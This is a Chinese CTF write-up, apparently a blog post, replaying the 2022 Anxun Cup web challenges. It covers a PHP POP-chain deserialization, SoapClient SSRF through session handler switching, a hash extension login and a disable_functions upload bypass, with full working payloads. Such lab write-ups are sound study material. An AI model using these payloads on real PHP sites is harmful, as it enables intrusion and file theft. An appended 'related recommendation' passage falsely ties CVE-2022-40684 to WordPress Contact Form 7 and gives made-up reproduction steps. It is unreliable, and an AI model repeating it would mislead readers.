2022安洵杯web题复现

前言

个人觉得赛题质量蛮好的,只是自己太菜了,花了很长时间都在琢磨第一道web,因为一些细节上的问题导致一直解不出来。赛后就找师傅的wp重新去复现一下,总结自己的问题,在此记录一下,以便日后复习。

badyphp(pop链,原生类打ssrf和文件读取)

打开题目就是源代码:

<?php
//something in flag.php
class A
{
    public $a;
    public $b;
    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
          if (isset($this->a) && $this->a == md5($this->a)) {
        $this->b->uwant();
    }
    }
}
class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}
class C
{
    public $a;
    public $c;
    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
        phpinfo();
        } else {
        call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}
if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__); 

构造pop链思路:

B::__destruct->C::__toString->A::__invoke->C::uwant

需要绕过wakeup函数,本题目是高版本的php,常规绕过不管用。细看这个代码:

$this->b = $this->k;

我们让$b去指向A类中$a的地址,就可以覆盖掉$a本来的变量了。打一下payload去触发phpinfo();

师傅的wp使用fast destruct来绕过的,都行。

原链⼦:O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:
{s:1:"a";i:0;s:1:"b";O:1:"C":2:
{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
经Fast Destruct过后的:O:1:"B":3:{s:1:"a";O:1:"C":2:
{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";i:0;s:1:"b";O:1:"C":2:
{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}}}s:1:"b";N;s:1:"k";N;}

题目中还提示让我们访问flag.php,flag文件的php代码为

<?php
session_start();
highlight_file(__FILE__);
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
} 

REMOTE_ADDR是无法伪造的,所以利用SoapClient类来打ssrf进去。另外可以new对象,我们可以利用原生类来读取flag。说起来很容易,但是怎么操作呢?

在主页面的php代码中我们是可以传session的,另外还有ini_set函数,我们可以控制修改php_ini的参数配置,没错,这里存在session反序列化漏洞。编写攻击ssrf的poc:

<?php
$target = "http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg";
$attack = new SoapClient(null,array('location' => $target,'user_agent' => "aaaa\r\nCookie: PHPSESSID=123456\r\n",'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>
//|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A32%3A%22aaaa%0D%0ACookie%3A+PHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

开始我们是不知道flag的文件名的,所以这一步之前,我们需要利用原生类加glob协议把flag文件名给找出来。更改处理器配置为php_serialize,并且将payload传入session中。

传进去之后它是储存在session中,然后我们再传一次,把SoapClient写进session中,为什么要这么做?我们将打ssrf的原生类写进session里了,能够满足反序列化的条件,但是我们还需要去触发SoapClient类里的__call方法才能真正达到效果。主页面php代码有回调函数:

call_user_func(array(reset($_SESSION), $this->a));

这个函数,若第一个参数是数组的话,数组的第一个键值会作为类名,剩下的键值作为方法名,来调用这些函数。两者我们都可控,需要利用这个点来触发__call方法。另外我们呢需要将处理器改为php。

那么接下来就利用我们构造的pop链来触发call方法了。exp为

<?php
class A{
    public $a;
    public $b;
}
class B{
    public $a;
    public $b;
    public $k;
}
class C{
    public $a;
    public $c;
}
$a = new A();
$b = new B();
$c = new C();
$d = new C();
$b->a = $c;
$b->b = &$a->a;
$b->k = "0e215962017";
$c->c = $a;
$a->a = "";
$a->b = $d;
$d->a = "asda";
echo serialize($b);
//O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";s:0:"";s:1:"b";O:1:"C":2:{s:1:"a";s:4:"asda";s:1:"c";N;}}}s:1:"b";R:5;s:1:"k";s:11:"0e215962017";}
?>

 

本地访问flag.php时的PHPSESSID是我们自己设置的,触发call方法后原生类读取flag的内容储存在session中,但是我们需要修改PHPSESSID为自己设置的才能得到flag。

EZ_JS(hash扩展攻击)

打开题目是一个登录框,随便输入些什么登进去。在页面源码有注释,是JSFuck编码,放在游览器解码一下。

这个提示我真不懂是什么意思,看大师傅的wp根据js大写特性绕过,输入admın。同样的,在登录框界面也有注释,

哈希扩展攻击,没怎么了解过,先学会用工具,在这留个坑以后再学。在做题的时候,我对这个注释的理解还是有些偏差,用工具解出hash和密码,hash要添加在cookie里。注意要把\x修改为%

抓登录包,添加admin密码,修改cookie得到文件

访问这个文件直接得出flag了。why?看师傅的wp不是还有原型链污染嘛。

ezupload(file_get_contents与原生类)

是一个上传表单,可以上传php文件,试着上传一句话木马,发现不成功。我们上传phpinfo,可以上传,发现许多函数都被禁用了。

于是我就想怎么开始绕disable_functions了,然而却没什么思路。看了大师傅的wp,发现其实函数禁用的并不全。还有file_get_contents函数可以用,但是上传对上传包的内容有限制,进行字符串拼接绕过,当然也可以用十六进制绕过。

可以看到/etc/passwd的内容。

那么我们如何利用file_get_contents把flag给读出来。看了师傅的wp才知道还可以配合原生类来找到flag文件并且读取。真的强,我是想不到的。那么传入文件。

<?php echo ('fil'.'e_get_contents')(("/".(new DirectoryIterator("glob:///f?????????????"))));?>

因为flag大都在根目录下,配合DirectoryIterator原生类并且利用glob协议找到flag文件名。本来想匹配f*的,*被过滤了。那就只能用?通配符一个个的匹配,最终在匹配13个问号得出flag。

结语

慢慢学习,慢慢积累。又是崇拜大师傅的一天~

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
CVE-2022-40684是一个与WordPress插件Contact Form 7有关的全漏洞。该漏洞可能允许攻击者通过恶意构造的特定请求,绕过验证机制并执行远程代码。 要CVE-2022-40684,您可以按照以下步骤进行操作: 1. 确保您在本地或测试环境中装了WordPress,并且已经装了Contact Form 7插件。 2. 登录WordPress管理后台,并激活Contact Form 7插件。 3. 创建一个新的Contact Form 7表单,并添加一些表单字段,例如名称和电子邮件字段。 4. 打开某个文件编辑器,例如Notepad++或者Sublime Text,并创建一个新的PHP文件。 5. 在PHP文件中编写以下恶意代码: ``` <?php // 攻击者的恶意代码,用于漏洞 echo "漏洞成功!"; ?> ``` 6. 将PHP文件保存为任意名称,例如exploit.php。 7. 回到WordPress的插件管理页面,找到并激活File Manager Advanced插件。 8. 在File Manager Advanced插件的设置中,启用文件编辑功能。 9. 打开File Manager Advanced插件,并找到主目录下的functions.php文件。 10. 将以下恶意代码添加到functions.php文件的任意位置: ``` include_once('exploit.php'); ``` 11. 保存functions.php文件,并刷新WordPress前台页面。 12. 访问包含Contact Form 7表单的页面,并填写表单字段。 13. 提交表单后,您将看到"漏洞成功!"的输出,表示成功CVE-2022-40684漏洞。 请注意,上述步骤仅用于演示CVE-2022-40684漏洞的过程。在实际环境中,请遵循全最佳实践,不要滥用或利用此漏洞来进行非法活动。及时更新和修软件以确保系统的全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值